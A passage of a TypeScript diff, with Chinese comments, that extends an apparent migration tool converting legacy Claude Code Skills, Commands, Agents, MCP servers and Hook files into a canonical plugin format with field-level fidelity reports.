+262,48 @@ async function copyText(destination: string, content: string): Promise { await fs.writeFile(destination, content); } +/** + * 为 Migration 自己生成的 Frontmatter 递归固定对象键顺序。 + * + * Migration 不依赖 Core 序列化实现,避免隔离子系统重新进入私有 Core 边界。 + * + * @param value 即将交给 gray-matter 的可序列化值。 + * @returns 保留数组顺序、按英文键名排序对象的副本。 + */ +function sortFrontmatter(value: unknown): unknown { + if (Array.isArray(value)) + return value.map(sortFrontmatter); + if (value !== null && typeof value === 'object') { + return Object.fromEntries(Object.entries(value as Record) + .filter(entry => entry[1] !== undefined) + .sort(([left], [right]) => left.localeCompare(right, 'en')) + .map(([key, child]) => [key, sortFrontmatter(child)])); + } + return value; +} + +/** + * 组合确定性 YAML Frontmatter 与规范 Markdown 正文。 + * + * @param frontmatter Migration 已完成字段映射的头部数据。 + * @param body 不含 Frontmatter 的 Markdown 正文。 + * @returns 以单个换行结尾的规范 Markdown。 + */ +function markdownWithFrontmatter(frontmatter: Record, body: string): string { + return matter.stringify(body.trim(), sortFrontmatter(frontmatter) as Record); +} + +/** + * 创建父目录后按原始字节复制可信来源文件。 + * + * @param source 已由 Legacy Scanner 限定在来源树内的普通文件。 + * @param destination 新规范工程中的目标文件。 + */ +async function copyBytes(source: string, destination: string): Promise { + await fs.mkdir(path.dirname(destination), { recursive: true }); + await fs.copyFile(source, destination); +} + /** * 把旧 Skill 及全部辅助文件迁移为规范 Skill 目录。 * @@ -164,36 +316,154 @@ async function copyText(destination: string, content: string): Promise { function migrateSkill(skill: Skill, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise[] { /** 由旧目录名转换出的规范 Skill ID。 */ const id = safeId(skill.dirName); + /** 当前 Skill 报告使用的稳定来源路径。 */ + const source = relative(projectRoot, skill.sourcePath); + /** 当前 Skill 全部已发现字段的保真记录。 */ + const fields: MigrationFieldDraft[] = []; + reportField(fields, 'name', source, ID_PATTERN.test(skill.dirName) ? 'mapped' : 'degraded', ID_PATTERN.test(skill.dirName) + ? 'Directory identity maps directly to the canonical Skill ID.' + : 'Skill identity required lowercase kebab-case normalization.'); + if (skill.frontmatter.name !== undefined) { + reportField(fields, 'frontmatter.name', source, skill.frontmatter.name === id ? 'mapped' : 'degraded', skill.frontmatter.name === id + ? 'Frontmatter identity agrees with the canonical directory identity.' + : 'Frontmatter name differs from the canonical directory identity.'); + } /** 优先保留旧描述,否则生成明确的迁移回退描述。 */ const description = skill.frontmatter.description || skill.frontmatter.when_to_use || `Migrated Skill ${id}.`; - /** 旧 Skill 的用户调用策略,默认保持可调用。 */ - let user = skill.frontmatter['user-invocable'] ?? true; - /** 旧 Skill 的模型调用策略。 */ - const model = !(skill.frontmatter['disable-model-invocation'] ?? false); - /** 名称、描述和调用策略是否能够无损映射。 */ - let outcome: MigrationOutcome = ID_PATTERN.test(skill.dirName) && skill.frontmatter.description ? 'migrated' : 'degraded'; - if (!user && !model) { - user = true; - outcome = 'degraded'; + if (skill.frontmatter.description) { + reportField(fields, 'description', source, 'mapped', 'Description maps directly to canonical Skill frontmatter.'); + } else if (skill.frontmatter.when_to_use) { + reportField(fields, 'when_to_use', source, 'mapped', 'when_to_use maps to the canonical Skill description.'); + } else { + reportField(fields, 'description', source, 'degraded', 'Description required a generated fallback.'); + } + /** 旧 Skill 未经 Schema 校验的用户调用开关。 */ + const rawUserInvocation = skill.frontmatter['user-invocable']; + /** 旧 Skill 未经 Schema 校验的模型禁用开关。 */ + const rawModelDisabled = skill.frontmatter['disable-model-invocation']; + /** 无效或缺失的用户开关回退到旧平台默认 true。 */ + let user = typeof rawUserInvocation === 'boolean' ? rawUserInvocation : true; + /** 无效或缺失的模型开关回退到旧平台默认可调用。 */ + const model = typeof rawModelDisabled === 'boolean' ? !rawModelDisabled : true; + if (rawUserInvocation !== undefined) { + if (typeof rawUserInvocation !== 'boolean') { + reportField(fields, 'user-invocable', source, 'unmapped', 'user-invocable was not boolean.'); + } else if (!user && !model) { + user = true; + reportField(fields, 'user-invocable', source, 'degraded', 'Both invocation paths were disabled; canonical format required enabling user invocation.'); + } else { + reportField(fields, 'user-invocable', source, 'mapped', 'user-invocable maps to canonical invocation.user.'); + } + } + if (rawModelDisabled !== undefined) { + reportField(fields, 'disable-model-invocation', source, typeof rawModelDisabled === 'boolean' ? 'mapped' : 'unmapped', + typeof rawModelDisabled === 'boolean' + ? 'disable-model-invocation maps inversely to canonical invocation.model.' + : 'disable-model-invocation was not boolean.'); + } + if (rawUserInvocation === undefined && rawModelDisabled === undefined) + reportField(fields, 'invocation', source, 'mapped', 'Legacy invocation defaults map to canonical user/model policy.'); + /** Claude Code 专属字段在规范 Skill 中的精确保留映射。 */ + const claudeFields: Record = {}; + /** 旧 allowed-tools 的稳定数组表示。 */ + const allowedTools = legacyStringList(skill.frontmatter['allowed-tools']); + if (skill.frontmatter['allowed-tools'] !== undefined) { + if (allowedTools) { + claudeFields.allowedTools = allowedTools; + reportField(fields, 'allowed-tools', source, 'mapped', 'Tool restrictions map to the Claude Code Platform field.'); + } else { + reportField(fields, 'allowed-tools', source, 'unmapped', 'allowed-tools was not a valid non-empty tool list.'); + } } + /** field 表示当前可精确进入 Claude Code Platform 字段的普通字符串。 */ + for (const field of ['model', 'agent'] as const) { + /** 旧 Frontmatter 中当前字符串字段。 */ + const value = skill.frontmatter[field]; + if (value !== undefined) { + if (typeof value === 'string' && value.trim()) { + claudeFields[field] = value.trim(); + reportField(fields, field, source, 'mapped', `${field} maps to the Claude Code Platform field.`); + } else { + reportField(fields, field, source, 'unmapped', `${field} was not a non-empty string.`); + } + } + } + if (skill.frontmatter.context !== undefined) { + if (skill.frontmatter.context === 'fork') { + claudeFields.context = 'fork'; + reportField(fields, 'context', source, 'mapped', 'fork maps to the verified Claude Code context field.'); + } else { + reportField(fields, 'context', source, 'unmapped', 'Only the verified Claude Code fork context can be preserved.'); + } + } + reportUnknownFields(fields, source, skill.frontmatter as unknown as Readonly>, new Set([ + 'name', 'description', 'when_to_use', 'user-invocable', 'disable-model-invocation', 'allowed-tools', 'model', 'context', 'agent', + ])); /** 规范 Skill 主文件的工程相对路径。 */ const destination = `src/skills/${id}/SKILL.md`; - items.push({ - kind: 'skill', id, outcome, - source: relative(projectRoot, skill.sourcePath), destination, - ...(outcome === 'degraded' ? { message: 'Identity, description, or invocation required a canonical fallback.' } : {}), - }); + reportField(fields, 'body', source, 'mapped', 'Markdown body maps without model-visible annotations.'); + for (const auxiliary of skill.auxFiles) { + reportField( + fields, + `auxiliary:${auxiliary.relativePath}`, + relative(projectRoot, auxiliary.sourcePath), + 'mapped', + 'Auxiliary file is copied byte-for-byte with the Skill.', + `src/skills/${id}/${auxiliary.relativePath.split(path.sep).join('/')}`, + ); + } + items.push(migrationItem({ kind: 'skill', id, source, destination }, fields)); /** 主文件及后续辅助文件的并行写入任务。 */ const writes = [copyText(path.join(outputRoot, destination), markdownWithFrontmatter({ description, invocation: { user, model }, + ...(Object.keys(claudeFields).length === 0 ? {} : { platforms: { 'claude-code': claudeFields } }), }, skill.body))]; - for (const auxiliary of skill.auxFiles) { - writes.push(copyText(path.join(outputRoot, 'src/skills', id, auxiliary.relativePath), auxiliary.content)); - } + for (const auxiliary of skill.auxFiles) + writes.push(copyBytes(auxiliary.sourcePath, path.join(outputRoot, 'src/skills', id, auxiliary.relativePath))); return writes; } +/** + * 把逗号分隔字符串或字符串数组转换为去重的非空字段列表。 + * + * @param value Legacy Frontmatter 中未经验证的工具或 Skill 列表。 + * @returns 有效列表;字段缺失或无效时返回 undefined。 + */ +function legacyStringList(value: unknown): string[] | undefined { + if (value === undefined) + return undefined; + /** 字符串使用 Claude 旧格式的逗号分隔规则,数组保持原声明顺序。 */ + const values = typeof value === 'string' + ? value.split(',').map(item => item.trim()).filter(Boolean) + : Array.isArray(value) ? value : []; + if (values.length === 0 || values.some(item => typeof item !== 'string' || item.trim() === '')) + return undefined; + /** 去重后的列表,避免生成的新 Platform 字段无法通过严格 Schema。 */ + return [...new Set(values as string[])]; +} + +/** + * 把未列入迁移白名单且实际存在的旧 Frontmatter 字段逐项报告为 unmapped。 + * + * @param fields 当前资源累计的字段级结论。 + * @param source 旧资源相对路径。 + * @param data Legacy Scanner 的宽松 Frontmatter。 + * @param allowed 当前资源可以自动迁移的字段集合。 + */ +function reportUnknownFields( + fields: MigrationFieldDraft[], + source: string, + data: Readonly>, + allowed: ReadonlySet, +): void { + /** field 表示当前需要进入人工迁移流程的旧字段。 */ + for (const field of Object.keys(data).sort((left, right) => left.localeCompare(right, 'en'))) { + if (!allowed.has(field)) + reportField(fields, field, source, 'unmapped', 'The legacy field has no canonical or verified Platform mapping.'); + } +} + /** * 把旧 Command Markdown 迁移为规范 Command,并转换参数占位符。 * @@ -206,31 +476,90 @@ function migrateSkill(skill: Skill, projectRoot: string, outputRoot: string, ite function migrateCommand(command: Command, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { /** 由旧文件名转换出的规范 Command ID。 */ const id = safeId(command.name); + /** 当前 Command 报告使用的稳定来源路径。 */ + const source = relative(projectRoot, command.sourcePath); + /** 当前 Command 全部已发现字段的保真记录。 */ + const fields: MigrationFieldDraft[] = []; + reportField(fields, 'name', source, ID_PATTERN.test(command.name) ? 'mapped' : 'degraded', ID_PATTERN.test(command.name) + ? 'Filename identity maps directly to the canonical Command ID.' + : 'Command identity required lowercase kebab-case normalization.'); /** 解析 Frontmatter 后保留的 Command 正文。 */ let body = command.content; /** 优先读取旧描述,否则使用明确的迁移回退值。 */ let description = `Migrated Command ${id}.`; - /** 名称和描述是否能够无损映射。 */ - let outcome: MigrationOutcome = ID_PATTERN.test(command.name) ? 'migrated' : 'degraded'; + /** 迁移后写入规范 Frontmatter 的字段集合。 */ + const frontmatter: Record = {}; try { + /** 旧 Command 的 Frontmatter 与正文解析结果。 */ const parsed = matter(command.content); body = parsed.content.trim(); - if (typeof parsed.data.description === 'string' && parsed.data.description.trim()) + if (typeof parsed.data.description === 'string' && parsed.data.description.trim()) { description = parsed.data.description.trim(); - else - outcome = 'degraded'; + reportField(fields, 'description', source, 'mapped', 'Description maps directly to canonical Command frontmatter.'); + } else { + reportField(fields, 'description', source, 'degraded', 'Description required a generated fallback.'); + } + /** Claude 原生拼写优先于旧工具曾使用的 camelCase 拼写。 */ + const nativeHint = parsed.data['argument-hint']; + /** camelCase 拼写仍是需要保真的合法 Legacy 输入。 */ + const camelHint = parsed.data.argumentHint; + /** 两种来源分别规范化,避免 truthy 非字符串绕过字段报告。 */ + const normalizedNative = typeof nativeHint === 'string' && nativeHint.trim() ? nativeHint.trim() : undefined; + /** camelCase 来源的非空字符串值。 */ + const normalizedCamel = typeof camelHint === 'string' && camelHint.trim() ? camelHint.trim() : undefined; + if (normalizedNative !== undefined) { + frontmatter.argumentHint = normalizedNative; + reportField(fields, 'argument-hint', source, normalizedNative === nativeHint ? 'mapped' : 'degraded', normalizedNative === nativeHint + ? 'Claude-native argument-hint maps to canonical argumentHint.' + : 'Claude-native argument-hint required whitespace normalization.'); + } else if (nativeHint !== undefined) { + reportField(fields, 'argument-hint', source, 'unmapped', 'argument-hint was not a non-empty string.'); + } + if (normalizedCamel !== undefined && normalizedNative === undefined) { + frontmatter.argumentHint = normalizedCamel; + reportField(fields, 'argumentHint', source, normalizedCamel === camelHint ? 'mapped' : 'degraded', normalizedCamel === camelHint + ? 'Legacy camelCase argumentHint maps directly to canonical argumentHint.' + : 'Legacy camelCase argumentHint required whitespace normalization.'); + } else if (normalizedCamel !== undefined && normalizedNative !== undefined) { + reportField(fields, 'argumentHint', source, normalizedCamel === normalizedNative ? 'mapped' : 'degraded', normalizedCamel === normalizedNative + ? 'Both legacy argument hint spellings agree with the canonical value.' + : 'Conflicting argument hints were degraded to the Claude-native argument-hint value.'); + } else if (camelHint !== undefined) { + reportField(fields, 'argumentHint', source, 'unmapped', 'argumentHint was not a non-empty string.'); + } + /** Claude Code 专属 Command 字段。 */ + const claudeFields: Record = {}; + /** 旧 allowed-tools 的稳定数组表示。 */ + const allowedTools = legacyStringList(parsed.data['allowed-tools']); + if (parsed.data['allowed-tools'] !== undefined) { + if (allowedTools) { + claudeFields.allowedTools = allowedTools; + reportField(fields, 'allowed-tools', source, 'mapped', 'Tool restrictions map to the Claude Code Platform field.'); + } else { + reportField(fields, 'allowed-tools', source, 'unmapped', 'allowed-tools was not a valid non-empty tool list.'); + } + } + if (parsed.data.model !== undefined) { + if (typeof parsed.data.model === 'string' && parsed.data.model.trim()) { + claudeFields.model = parsed.data.model.trim(); + reportField(fields, 'model', source, 'mapped', 'Model maps to the Claude Code Platform field.'); + } else { + reportField(fields, 'model', source, 'unmapped', 'model was not a non-empty string.'); + } + } + if (Object.keys(claudeFields).length > 0) + frontmatter.platforms = { 'claude-code': claudeFields }; + reportUnknownFields(fields, source, parsed.data, new Set(['description', 'argument-hint', 'argumentHint', 'allowed-tools', 'model'])); } catch { - outcome = 'degraded'; + reportField(fields, 'frontmatter', source, 'unmapped', 'Frontmatter could not be parsed and requires manual recovery.'); } + frontmatter.description = description; body = body.replaceAll('$ARGUMENTS', '{{arguments}}'); /** 规范 Command 文件的工程相对路径。 */ const destination = `src/commands/${id}.md`; - items.push({ - kind: 'command', id, outcome, - source: relative(projectRoot, command.sourcePath), destination, - ...(outcome === 'degraded' ? { message: 'A canonical description or identity fallback was required.' } : {}), - }); - return copyText(path.join(outputRoot, destination), markdownWithFrontmatter({ description }, body)); + reportField(fields, 'body', source, 'mapped', 'Markdown body and argument placeholder map to canonical Command content.'); + items.push(migrationItem({ kind: 'command', id, source, destination }, fields)); + return copyText(path.join(outputRoot, destination), markdownWithFrontmatter(frontmatter, body)); } /** @@ -247,6 +576,47 @@ function mappedModel(value: string | undefined): 'inherit' | 'fast' | 'capable' return 'inherit'; } +/** + * 从 Claude Code 工具名推导跨平台保守能力集合。 + * + * 精确工具白名单仍保存在 Claude Code Platform 字段中;这里只为其他 Platform 提供可移植近似。 + * + * @param tools 已验证的旧 Claude Code 工具名。 + * @returns 按 Core 固定顺序去重的规范能力。 + */ +function capabilitiesFromTools(tools: readonly string[]): AgentCapability[] { + /** 每个稳定工具对应的最小规范能力。 */ + const mapping: Readonly> = { + Read: 'filesystem:read', + Write: 'filesystem:write', + Edit: 'filesystem:write', + NotebookEdit: 'filesystem:write', + Glob: 'search', + Grep: 'search', + Bash: 'shell', + WebFetch: 'network', + Agent: 'delegate', + Task: 'delegate', + }; + /** 工具列表映射得到的能力集合。 */ + const found = new Set(); + for (const tool of tools) { + // WebSearch 同时依赖发现能力和远程访问,不能压缩成单一 capability。 + if (tool === 'WebSearch') { + found.add('search'); + found.add('network'); + continue; + } + /** 当前 Claude 工具可保守映射出的单一规范能力。 */ + const capability = mapping[tool]; + if (capability !== undefined) + found.add(capability); + } + /** Core 对外采用的固定能力顺序。 */ + const order: readonly AgentCapability[] = ['filesystem:read', 'filesystem:write', 'search', 'shell', 'network', 'delegate']; + return order.filter(capability => found.has(capability)); +} + /** * 把旧 Agent Markdown 迁移为规范 Agent,并泛化平台模型名称。 * @@ -259,22 +629,88 @@ function mappedModel(value: string | undefined): 'inherit' | 'fast' | 'capable' function migrateAgent(agent: Agent, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { /** 由旧文件名转换出的规范 Agent ID。 */ const id = safeId(agent.fileName); + /** 当前 Agent 报告使用的稳定来源路径。 */ + const source = relative(projectRoot, agent.sourcePath); + /** 当前 Agent 全部已发现字段的保真记录。 */ + const fields: MigrationFieldDraft[] = []; + reportField(fields, 'name', source, ID_PATTERN.test(agent.fileName) ? 'mapped' : 'degraded', ID_PATTERN.test(agent.fileName) + ? 'Filename identity maps directly to the canonical Agent ID.' + : 'Agent identity required lowercase kebab-case normalization.'); + if (agent.frontmatter.name !== undefined) { + reportField(fields, 'frontmatter.name', source, agent.frontmatter.name === id ? 'mapped' : 'degraded', agent.frontmatter.name === id + ? 'Frontmatter identity agrees with the canonical filename identity.' + : 'Frontmatter name differs from the canonical filename identity.'); + } /** 旧描述或明确的迁移回退描述。 */ const description = agent.frontmatter.description || `Migrated Agent ${id}.`; + reportField(fields, 'description', source, agent.frontmatter.description ? 'mapped' : 'degraded', agent.frontmatter.description + ? 'Description maps directly to canonical Agent frontmatter.' + : 'Description required a generated fallback.'); /** 旧模型是否属于可映射的已知集合。 */ const knownModel = agent.frontmatter.model === undefined || ['inherit', 'haiku', 'sonnet', 'opus'].includes(agent.frontmatter.model); - /** 身份、描述和模型是否能够无损映射。 */ - const outcome: MigrationOutcome = ID_PATTERN.test(agent.fileName) && agent.frontmatter.description && knownModel ? 'migrated' : 'degraded'; + if (agent.frontmatter.model !== undefined) { + reportField(fields, 'model', source, knownModel ? 'mapped' : 'degraded', knownModel + ? 'Known Claude model maps to the canonical model class.' + : 'Unknown model was generalized to inherit.'); + } + /** 可以由 Claude Code Platform 精确保留的 Agent 字段。 */ + const claudeFields: Record = {}; + /** 旧工具白名单及其跨平台保守能力映射。 */ + const tools = legacyStringList(agent.frontmatter.tools); + if (agent.frontmatter.tools !== undefined) { + if (tools) { + claudeFields.tools = tools; + /** 无法推导跨平台 capability 的工具仍会在 Claude Code 字段中精确保留。 */ + const hasPlatformOnlyTool = tools.some(tool => capabilitiesFromTools([tool]).length === 0); + reportField(fields, 'tools', source, hasPlatformOnlyTool ? 'degraded' : 'mapped', hasPlatformOnlyTool + ? 'Tool restrictions are preserved for Claude Code, but at least one tool has no portable capability mapping.' + : 'Tool restrictions map to Claude Code and portable capabilities.'); + } else { + reportField(fields, 'tools', source, 'unmapped', 'tools was not a valid non-empty tool list.'); + } + } + /** 旧工具黑名单仅在 Claude Code Platform 中精确保留。 */ + const disallowedTools = legacyStringList(agent.frontmatter.disallowedTools); + if (agent.frontmatter.disallowedTools !== undefined) { + if (disallowedTools) { + claudeFields.disallowedTools = disallowedTools; + reportField(fields, 'disallowedTools', source, 'mapped', 'Denied tools map to the Claude Code Platform field.'); + } else { + reportField(fields, 'disallowedTools', source, 'unmapped', 'disallowedTools was not a valid non-empty tool list.'); + } + } + /** 字段及其允许值谓词组成的 Claude Code 精确映射表。 */ + const exactFields: readonly [string, unknown, (value: unknown) => boolean][] = [ + ['effort', agent.frontmatter.effort, value => typeof value === 'string' && ['low', 'medium', 'high', 'xhigh', 'max'].includes(value)], + ['maxTurns', agent.frontmatter.maxTurns, value => Number.isInteger(value) && Number(value) > 0], + ['skills', agent.frontmatter.skills, value => legacyStringList(value) !== undefined], + ['memory', agent.frontmatter.memory, value => typeof value === 'string' && ['user', 'project', 'local'].includes(value)], + ['background', agent.frontmatter.background, value => typeof value === 'boolean'], + ['isolation', agent.frontmatter.isolation, value => value === 'worktree'], + ]; + /** [field, value, valid] 表示当前可进入 Claude Code Agent Platform 字段的候选。 */ + for (const [field, value, valid] of exactFields) { + if (value === undefined) + continue; + if (valid(value)) { + claudeFields[field] = field === 'skills' ? legacyStringList(value)! : value; + reportField(fields, field, source, 'mapped', `${field} maps to the verified Claude Code Platform field.`); + } else { + reportField(fields, field, source, 'unmapped', `${field} did not satisfy the current Claude Code field contract.`); + } + } + reportUnknownFields(fields, source, agent.frontmatter as unknown as Readonly>, new Set([ + 'name', 'description', 'tools', 'disallowedTools', 'model', 'effort', 'maxTurns', 'skills', 'memory', 'background', 'isolation', + ])); /** 规范 Agent 文件的工程相对路径。 */ const destination = `src/agents/${id}.md`; - items.push({ - kind: 'agent', id, outcome, - source: relative(projectRoot, agent.sourcePath), destination, - ...(outcome === 'degraded' ? { message: 'Unsupported legacy model/tool metadata was omitted or generalized.' } : {}), - }); + reportField(fields, 'body', source, 'mapped', 'Markdown body maps without model-visible migration annotations.'); + items.push(migrationItem({ kind: 'agent', id, source, destination }, fields)); return copyText(path.join(outputRoot, destination), markdownWithFrontmatter({ description, model: mappedModel(agent.frontmatter.model), + capabilities: capabilitiesFromTools(tools ?? []), + ...(Object.keys(claudeFields).length === 0 ? {} : { platforms: { 'claude-code': claudeFields } }), }, agent.body)); } @@ -313,11 +749,13 @@ function remoteMcpSource(server: MCPServer): string | undefined { /** 从 Authorization Header 提取的可选 Bearer 环境变量策略。 */ let auth: Record | undefined; for (const [name, value] of Object.entries(server.headers ?? {})) { + /** Authorization Header 是否是可安全迁移的 Bearer 环境变量引用。 */ const bearer = name.toLowerCase() === 'authorization' && value.match(/^Bearer \$\{([A-Za-z_][A-Za-z0-9_]*)\}$/); if (bearer) { auth = { type: 'bearer', env: bearer[1]! }; continue; } + /** 普通 Header 值中唯一允许保留的环境变量名。 */ const env = environmentReference(value); if (!env) return undefined; @@ -325,7 +763,7 @@ function remoteMcpSource(server: MCPServer): string | undefined { } /** 按稳定格式组装的类型化 MCP 描述源码行。 */ const descriptor = [ - `import { defineMcpServer } from '@tokenroll/acplugin-module-mcp';`, + `import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp';`, '', 'export default defineMcpServer({', ` transport: 'http',`, @@ -349,6 +787,7 @@ function redactedMcpServer(server: MCPServer): Record { let url = server.url; if (url) { try { + /** 用于移除用户信息、查询和片段的 URL 副本。 */ const parsed = new URL(url); parsed.username = ''; parsed.password = ''; @@ -434,10 +873,12 @@ async function copyHookReference( /** 用于阻止目录逃逸并生成报告的来源相对路径。 */ const relation = path.relative(sourceRoot, source); if (relation === '..' || relation.startsWith(`..${path.sep}`) || path.isAbsolute(relation)) { - items.push({ - kind: 'hook-file', id: relativePath, outcome: 'unmapped', - message: 'Referenced Hook file escapes the source project and was not copied.', - }); + /** 越界引用只保留脱敏字段结论,不把绝对解析路径写入报告。 */ + const safeSource = relativePath.split(path.sep).join('/'); + items.push(migrationItem({ kind: 'hook-file', id: safeSource }, [{ + field: 'content', source: safeSource, outcome: 'unmapped', + reason: 'Referenced Hook file escapes the source project and was not copied.', + }])); return; } /** 引用文件的 lstat 元数据,用于拒绝符号链接。 */ @@ -445,19 +886,21 @@ async function copyHookReference( try { stat = await fs.lstat(source); } catch { - items.push({ - kind: 'hook-file', id: relativePath, outcome: 'unmapped', - source: relation.split(path.sep).join('/'), - message: 'Referenced Hook file does not exist and requires manual recovery.', - }); + /** 不存在的引用仍用工程相对路径进入字段报告。 */ + const normalized = relation.split(path.sep).join('/'); + items.push(migrationItem({ kind: 'hook-file', id: relativePath, source: normalized }, [{ + field: 'content', source: normalized, outcome: 'unmapped', + reason: 'Referenced Hook file does not exist and requires manual recovery.', + }])); return; } if (stat.isSymbolicLink()) { - items.push({ - kind: 'hook-file', id: relativePath, outcome: 'unmapped', - source: relation.split(path.sep).join('/'), - message: 'Referenced Hook symlinks are not copied.', - }); + /** 符号链接不解引用,只报告链接自身的相对位置。 */ + const normalized = relation.split(path.sep).join('/'); + items.push(migrationItem({ kind: 'hook-file', id: relativePath, source: normalized }, [{ + field: 'content', source: normalized, outcome: 'unmapped', + reason: 'Referenced Hook symlinks are not copied.', + }])); return; } if (stat.isDirectory()) { @@ -477,11 +920,113 @@ async function copyHookReference( const output = path.join(outputRoot, destination); await fs.mkdir(path.dirname(output), { recursive: true }); await fs.copyFile(source, output); - items.push({ - kind: 'hook-file', id: normalized, outcome: 'unmapped', - source: normalized, destination, - message: 'Referenced Hook implementation was preserved for manual typed migration.', - }); + items.push(migrationItem({ kind: 'hook-file', id: normalized, source: normalized, destination }, [{ + field: 'content', source: normalized, destination, outcome: 'unmapped', + reason: 'Referenced Hook implementation was preserved for manual typed migration.', + }])); +} + +/** 旧 JSON 中可枚举且不是数组的对象形态。 */ +function isRecord(value: unknown): value is Record { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +/** + * 按 Core 规则把非空字符串去除首尾空白。 + * + * @param value 未经 Schema 验证的旧字段值。 + * @returns 可进入规范配置的字符串;类型或内容无效时返回 undefined。 + */ +function normalizedText(value: unknown): string | undefined { + return typeof value === 'string' && value.trim() !== '' ? value.trim() : undefined; +} + +/** + * 使用与 Core 一致的绝对 HTTP(S) URL 边界。 + * + * @param value 已去除首尾空白的 URL 候选。 + * @returns URL 具有 HTTP(S) 协议和主机名时返回 true。 + */ +function isHttpUrl(value: string): boolean { + try { + /** 标准 URL 解析结果用于拒绝相对路径和不完整主机名。 */ + const parsed = new URL(value); + return (parsed.protocol === 'http:' || parsed.protocol === 'https:') && parsed.hostname.length > 0; + } catch { + return false; + } +} + +/** + * 判断字符串是否为 Core 接受的 SPDX 许可表达式。 + * + * @param value 已去除首尾空白的许可候选。 + * @returns SPDX Parser 接受该完整表达式时返回 true。 + */ +function isSpdxExpression(value: string): boolean { + try { + parseSpdxExpression(value); + return true; + } catch { + return false; + } +} + +/** 统一元数据字段及其旧 interface 回退来源。 */ +interface MetadataCandidate { + /** 报告中保留的精确旧字段路径。 */ + readonly field: string; + /** 未经旧 Schema 校验的字段值。 */ + readonly value: unknown; + /** 该字段是否只能作为统一字段的回退来源。 */ + readonly fallback: boolean; +} + +/** + * 从一组优先级候选选择首个合法文本,并逐项报告所有实际来源。 + * + * @param fields 当前元数据资源的字段报告。 + * @param source 旧元数据清单相对路径。 + * @param candidates 主字段和 interface 回退字段的优先级列表。 + * @param label 不包含原始值的字段说明。 + * @param validate 对规范化文本执行的可选 Core 等价校验。 + * @returns 首个合法候选的规范化值。 + */ +function selectMetadataText( + fields: MigrationFieldDraft[], + source: string, + candidates: readonly MetadataCandidate[], + label: string, + validate: (value: string) => boolean = () => true, +): string | undefined { + /** 每个实际来源的规范化结果;undefined 表示无法自动映射。 */ + const normalized = candidates.map(candidate => candidate.value === undefined + ? undefined + : normalizedText(candidate.value)); + /** 首个同时满足文本和字段专属契约的来源索引。 */ + const selectedIndex = normalized.findIndex(value => value !== undefined && validate(value)); + /** 最终进入规范配置的字段值。 */ + const selected = selectedIndex < 0 ? undefined : normalized[selectedIndex]; + for (const [index, candidate] of candidates.entries()) { + if (candidate.value === undefined) + continue; + /** 当前来源去空白后的候选文本。 */ + const value = normalized[index]; + if (value === undefined || !validate(value)) { + reportField(fields, candidate.field, source, 'unmapped', `${label} did not satisfy the canonical metadata contract.`); + } else if (index === selectedIndex) { + /** 回退选择或字符串规范化都必须在总体报告中保持 degraded。 */ + const normalizedOrFallback = candidate.fallback || value !== candidate.value; + reportField(fields, candidate.field, source, normalizedOrFallback ? 'degraded' : 'mapped', normalizedOrFallback + ? `${label} required fallback selection or whitespace normalization.` + : `${label} maps directly to the corresponding top-level config field.`); + } else if (value === selected) { + reportField(fields, candidate.field, source, 'degraded', `${label} duplicates the selected source and was collapsed into one canonical field.`); + } else { + reportField(fields, candidate.field, source, 'unmapped', `${label} conflicts with the higher-priority source and cannot be represented separately.`); + } + } + return selected; } /** @@ -491,27 +1036,293 @@ async function copyHookReference( * @param options 迁移 CLI 选项。 * @returns 已验证名称、版本、描述和可选展示名称。 */ -async function metadataFor(scan: ScanResult, options: MigrationOptions): Promise<{ name: string; version: string; description: string; displayName?: string }> { +async function metadataFor(scan: ScanResult, options: MigrationOptions, items: MigrationItem[]): Promise { /** 仅 Plugin/Marketplace 扫描结果携带的旧 Plugin 元数据。 */ const plugin = 'meta' in scan ? scan as PluginScanResult : undefined; - /** CLI 或旧元数据提供的候选规范名称。 */ - let name = options.name ?? plugin?.meta.name; - /** CLI 或旧元数据提供的候选描述。 */ - let description = options.description ?? plugin?.meta.description; - if (!name && process.stdin.isTTY) - name = await input({ message: 'Plugin name', default: safeId(path.basename(scan.rootDir)) }); - if (!description && process.stdin.isTTY) - description = await input({ message: 'Plugin description' }); - if (!name || !description) + /** Plugin 元数据来自清单;Project 的必填值来自 CLI 并以来源根表示。 */ + const source = plugin?.metadataSource ?? '.'; + /** 顶层元数据全部已发现字段的保真记录。 */ + const fields: MigrationFieldDraft[] = []; + /** 只有普通对象形态的 Marketplace interface 才能安全枚举回退字段。 */ + const pluginInterface = isRecord(plugin?.meta.interface) ? plugin.meta.interface : undefined; + if (plugin?.meta.interface !== undefined && pluginInterface === undefined) + reportField(fields, 'interface', source, 'unmapped', 'Marketplace interface was not an object.'); + + /** CLI 或旧元数据提供的原始名称候选。 */ + let rawName: unknown = options.name ?? plugin?.meta.name; + if (rawName === undefined && process.stdin.isTTY) + rawName = await input({ message: 'Plugin name', default: safeId(path.basename(scan.rootDir)) }); + if (rawName === undefined) throw new Error('Migration requires plugin name and description; pass --name and --description in non-interactive mode.'); - if (!ID_PATTERN.test(name)) + if (options.name !== undefined && !ID_PATTERN.test(options.name)) throw new Error('Migration plugin name must be lowercase kebab-case.'); - return { + /** 最终名称;旧名称可以安全规范化,显式 CLI 名称仍保持严格输入边界。 */ + const name = typeof rawName === 'string' && ID_PATTERN.test(rawName) + ? rawName + : safeId(typeof rawName === 'string' ? rawName : path.basename(scan.rootDir)); + reportField(fields, 'name', source, + typeof rawName === 'string' && ID_PATTERN.test(rawName) && (options.name === undefined || plugin?.meta.name === undefined || plugin.meta.name === rawName) + ? 'mapped' + : typeof rawName === 'string' ? 'degraded' : 'unmapped', + typeof rawName === 'string' && ID_PATTERN.test(rawName) + ? options.name !== undefined && plugin?.meta.name !== undefined && plugin.meta.name !== rawName + ? 'Explicit migration name overrides a different legacy identity.' + : 'Plugin identity maps to top-level config name.' + : typeof rawName === 'string' + ? 'Legacy identity required lowercase kebab-case normalization.' + : 'Invalid legacy identity required a directory-name fallback.'); + + /** 旧根描述及两个 Marketplace interface 回退字段。 */ + const descriptionCandidates: readonly MetadataCandidate[] = [ + { field: 'description', value: plugin?.meta.description, fallback: false }, + { field: 'interface.shortDescription', value: pluginInterface?.shortDescription, fallback: true }, + { field: 'interface.longDescription', value: pluginInterface?.longDescription, fallback: true }, + ]; + /** 未提供 CLI 覆盖时由旧字段优先级选出的描述。 */ + const legacyDescription = options.description === undefined + ? selectMetadataText(fields, source, descriptionCandidates, 